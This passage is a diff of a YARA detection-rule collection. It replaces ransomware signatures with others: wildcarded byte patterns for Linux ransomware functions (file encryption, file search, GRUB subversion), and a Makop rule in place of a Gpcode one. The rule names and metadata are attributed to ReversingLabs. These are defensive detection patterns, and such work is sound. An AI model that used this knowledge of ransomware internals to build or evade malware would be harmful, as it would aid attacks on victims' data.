-            8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8B 4D ??
-            33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$encrypt_files_1 = {
+            55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48
+            89 45 ?? 31 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 85
+            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85
+            ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 85 C0 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ??
+            ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ??
+            ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 C7
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 85 C0 79 ?? 48 8B
+            85 ?? ?? ?? ?? 48 89 C6 BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 85 ?? ??
+            ?? ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 78 ?? 48 8B 85 ?? ?? ?? ?? BE ??
+            ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ??
+            85 C0 79 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 90 ?? ?? ?? ?? 48 85 C0
+            48 0F 48 C2 48 C1 F8 ?? 48 89 85 ?? ?? ?? ?? 48 8B 45 ?? 48 85 C0 7E ?? 48 83 BD ??
+            ?? ?? ?? ?? 7F ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ??
+            ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? ?? 48
+            83 BD ?? ?? ?? ?? ?? 7F ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ??
+            ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C2 48 C1
         }
-		$remote_server = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ??
-            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 68 ?? ?? ??
-            ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? 6A
-            ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D
-            ?? ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45
-            ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75
-            ?? 83 C8 ?? E9 ?? ?? ?? ?? 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83
-            7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 83 C2 ?? 52 6A ?? 8B 45
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 FF 15
-            ?? ?? ?? ?? 85 C0 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B
-            55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 3B 45 ?? 73 ?? 8B 4D ?? 03 4D ?? 0F BE 11 83 FA ??
-            74 ?? 8B 45 ?? 03 45 ?? 0F BE 08 83 F9 ?? 74 ?? 8B 55 ?? 03 55 ?? 8B 45 ?? 03 45 ??
-            8A 08 88 0A EB ?? 8B 55 ?? 03 55 ?? C6 02 ?? EB ?? EB ?? EB ?? 83 7D ?? ?? 0F 87 ??
-            ?? ?? ?? 83 7D ?? ?? 75 ?? 83 C8 ?? EB ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 FF 15 ?? ??
-            ?? ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52
-            FF 15 ?? ?? ?? ?? 8B E5 5D C3
+		$encrypt_files_2 = {
+            EA ?? 48 01 D0 48 D1 F8 48 C1 E0 ?? 48 89 C1 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89
+            CE 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ??
+            ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 8E ?? ?? ??
+            ?? 48 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 BA ??
+            ?? ?? ?? ?? ?? ?? ?? 48 89 C8 48 F7 EA 48 8D 04 0A 48 C1 F8 ?? 48 89 C2 48 89 C8 48
+            C1 F8 ?? 48 29 C2 48 89 D0 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B
+            85 ?? ?? ?? ?? C1 E0 ?? 48 63 C8 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 CE 89 C7 E8
+            ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75
+            ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 3B 85 ?? ?? ?? ?? 7C ?? 48 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 8E ?? ?? ?? ??
+            48 8B 8D ?? ?? ?? ?? 48 BA ?? ?? ?? ?? ?? ?? ?? ?? 48 89 C8 48 F7 EA 48 8D 04 0A 48
+            C1 F8 ?? 48 89 C2 48 89 C8 48 C1 F8 ?? 48 29 C2 48 89 D0 89 85 ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? C1 E0 ?? 48 63 C8 8B 85 ?? ?? ?? ?? BA
+            ?? ?? ?? ?? 48 89 CE 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ??
+            ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? EB ?? 83 85 ?? ?? ?? ?? ?? 83 85 ??
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 85 ?? ?? ?? ?? 7C ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 ??
+            ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 8B 75 ?? 64 48 33
+            34 25 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? C9 C3
         }
-		$remote_server_2 = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 89 45 ?? A1 ?? ?? ?? ?? 50 8B 0D ?? ?? ?? ?? 51 8B 15 ?? ?? ?? ?? 52
-            A1 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 8B 0D ?? ?? ?? ?? 51 68
-            ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ??
-            52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ??
-            ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 68
-            ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
-            ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ??
-            6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 55 ??
-            52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D
-            45 ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 8B 55 ?? 83
-            C2 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? 33
-            C0 E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 50 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33
-            C0 EB ?? EB ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 8B 4D ??
-            51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? B8 ?? ?? ?? ?? EB ?? 83 7D ?? ?? 0F 87 ??
-            ?? ?? ?? 83 7D ?? ?? 75 ?? 83 C8 ?? EB ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 FF 15 ?? ??
-            ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 51
-            FF 15 ?? ?? ?? ?? 8B E5 5D C3
+		$search_files = {
+            55 48 89 E5 48 81 EC ?? ?? ?? ?? 48 89 BD ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48
+            89 45 ?? 31 C0 8B 05 ?? ?? ?? ?? 83 C0 ?? 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 83 F8
+            ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ??
+            48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 85 ??
+            ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            48 8B 85 ?? ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 75 ??
+            E9 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 83 C0
+            ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 75 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ??
+            ?? 85 C0 74 ?? 48 8B 85 ?? ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ??
+            ?? 85 C0 75 ?? 83 85 ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? C7 85 ??
+            ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89
+            D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? 48 89 C2 B8 ??
+            ?? ?? ?? 48 89 D7 F2 AE 48 89 C8 48 F7 D0 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 01 D0
+            66 C7 00 ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89
+            C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 8D
+            85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 83 E8 ?? 89 05 ?? ?? ?? ??
+            48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ??
+            ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ??
+            48 8B 4D ?? 64 48 33 0C 25 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? C9 C3
+        }
+		$subvert_grub_1 = {
+            55 48 89 E5 48 81 EC ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 89 45 ?? 31 C0 48 B8
+            ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85
+            ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ??
+            ?? ?? ?? 48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ??
+            ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8
+            ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85
+            ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? 66 C7 85 ?? ?? FF FF ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ??
+            ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ??
+            48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 B8 ?? ??
+            ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ??
+            ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ??
+            ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8
+        }
+		$subvert_grub_2 = {
+            48 89 85 ?? ?? ?? ?? 66 C7 85 ?? ?? FF FF ?? ?? 48 B8 ?? ?? ??
+            ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ??
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ??
+            48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ??
+            ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ??
+            ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48
+            8B 85 ?? ?? ?? ?? 48 89 C1 BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ??
+            ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 4C 8D 85 ?? ??
+            ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ??
+            ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 8D B5 ?? ?? ?? ?? 56 4D 89 C1 49 89 F8 BE ?? ?? ??
+            ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7
+            E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ??
+            ?? ?? 0F 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 B9 ??
+            ?? ?? ?? ?? ?? ?? ?? 48 89 08 C7 40 ?? ?? ?? ?? ?? C6 40 ?? ?? 48 8B 85
+        }
+		$subvert_grub_3 = {
+            48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ??
+            ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 85 ?? ?? ??
+            ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 85 ?? ?? ??
+            ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 75 ?? EB ?? 48 8D 85 ??
+            ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89
+            85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ??
+            ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ??
+            48 83 BD ?? ?? ?? ?? ?? 74 ?? 4C 8D 85 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 8D ??
+            ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 8D B5
+            ?? ?? ?? ?? 56 4D 89 C1 49 89 F8 BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 48 83 C4 ?? EB ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ??
+            ?? 48 83 BD ?? ?? ?? ?? ?? 74 ?? 4C 8D 85 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 8D
+            ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 8D
+            B5 ?? ?? ?? ?? 56 4D 89 C1 49 89 F8 BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 48 83 C4 ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 8B
+            55 ?? 64 48 33 14 25 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? C9 C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and $encrypt_files and $remote_server and $remote_server_2
+		uint32(0)==0x464C457F and ($search_files and ( all of ($encrypt_files_*)) and ( all of ($subvert_grub_*)))
 }
-rule REVERSINGLABS_Win32_Ransomware_Gpcode : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Makop : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Gpcode ransomware."
+		description = "Yara rule that detects Makop ransomware."
 		author = "ReversingLabs"
-		id = "168833dd-44ab-59e1-a610-b9219b2907ff"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "9b7d42f3-0417-5228-8b25-244224cbc414"
+		date = "2020-10-30"
+		modified = "2020-10-30"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Gpcode.yara#L1-L67"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "329309873977f73a8ebe758018ebc8ba42e15c3c7cbb9a65865631d235f5bb48"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Makop.yara#L1-L99"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "0ff4739d32b4a775d07a5f22d551ed67025681d4986e4404c9a01ad4078468f3"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -45305,914 +45896,718 @@ rule REVERSINGLABS_Win32_Ransomware_Gpcode : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "GPCode"
+		tc_detection_name = "Makop"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$drive_loop = {
-            B9 19 00 00 00 BB 01 00 00 00 D3 E3 23 D8 74 ?? 80
-            C1 ?? 88 0D ?? ?? ?? ?? 80 E9 ?? C7 05 ?? ?? ?? ??
-            ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? 59 58 49 7D
+		$find_files_p1 = {
+            8D 54 24 ?? 52 56 FF 15 ?? ?? ?? ?? 56 8B F8 6A ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 50
+            FF 15 ?? ?? ?? ?? 83 FF ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
+            C4 ?? 5F 5E 5B 8B E5 5D C3 33 F6 89 74 24 ?? EB ?? 8D A4 24 ?? ?? ?? ?? 8D 64 24 ??
+            66 8B 44 24 ?? 66 85 C0 0F 84 ?? ?? ?? ?? 66 3D ?? ?? 75 ?? 66 8B 44 24 ?? 66 85 C0
+            0F 84 ?? ?? ?? ?? 66 3D ?? ?? 75 ?? 66 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? 8D 44 24 ??
+            EB ?? 8D 9B ?? ?? ?? ?? 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 8D 54 24 ?? 2B C2 D1 F8 83
+            E8 ?? 85 F6 8B F8 89 7C 24 ?? 75 ?? 8B 45 ?? 05 ?? ?? ?? ?? 03 C0 0F 84 ?? ?? ?? ??
+            50 56 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 89 44 24 ?? 8B F0 0F 84 ?? ?? ??
+            ?? F6 44 24 ?? ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 38 85 FF 74 ?? 8B 1F 8D 54 24
+            ?? 8B CA 2B D9 8D 49 ?? 0F B7 04 13 66 3D ?? ?? 72 ?? 66 3D ?? ?? 77 ?? 83 C0 ?? 0F
+            B7 C8 0F B7 02 66 3D ?? ?? 72 ?? 66 3D ?? ?? 77 ?? 83 C0 ?? 83 C2 ?? 66 85 C9 0F B7
+            C0 74 ?? 66 3B C8 74 ?? 0F B7 D0 0F B7 C1 2B C2 0F 84 ?? ?? ?? ?? 8B 7F ?? 85 FF 75
+            ?? 8B 7D ?? 8B 55 ?? 81 C7 ?? ?? ?? ?? 8B DE E8 ?? ?? ?? ?? 8B 4D ?? 8D 5C 4E ?? BA
+            ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 1C 56 8D 54 24 ?? BF ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4D ?? 8D 54 08 ?? 8B 45 ?? 52 56 50 E8
         }
-		$encrypt_routine = {
-            FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? [0-10]
-            E9 ?? ?? ?? ?? 6A ?? [1-10] FF 75 ?? FF 35 ?? ??
-            ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? [1-10] FF 35 ?? ?? ?? ??
-            6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? (E8 | FF 15)
-            ?? ?? ?? ?? 0B C0 75 ?? (EB | E9) [1-4] 6A ??
-            [2-10] FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ??
-            75 ?? [10-40] FF 35 ?? ?? ?? ?? FF 75 ?? E8
+		$find_files_p2 = {
+            83 C4 ?? E9 ?? ?? ?? ?? 8D 5C 24 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 8B 4D ??
+            80 79 ?? ?? 0F 85 ?? ?? ?? ?? 8B 55 ?? 03 FA 81 FF ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B
+            15 ?? ?? ?? ?? C6 44 24 ?? ?? 8B 7D ?? 81 C7 ?? ?? ?? ?? 8B DE E8 ?? ?? ?? ?? 8A 44
+            24 ?? 84 C0 75 ?? 8B 55 ?? 83 C7 ?? 8D 5E ?? E8 ?? ?? ?? ?? 8A 44 24 ?? 8A C8 8B 54
+            24 ?? F6 D9 1B C9 83 E1 ?? F6 D8 8B F1 8D BE ?? ?? ?? ?? 1B C0 83 E0 ?? 83 C0 ?? 03
+            45 ?? 8D 04 42 89 44 24 ?? 8D 58 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5C 24 ?? 8D BE
+            ?? ?? ?? ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 8B 54 24 ?? 85 D2 8B 74 24 ?? 8B 45 ?? 77 ??
+            3B 70 ?? 77 ?? B1 ?? EB ?? 8B 55 ?? C6 44 24 ?? ?? E9 ?? ?? ?? ?? 32 C9 88 48 ?? 8B
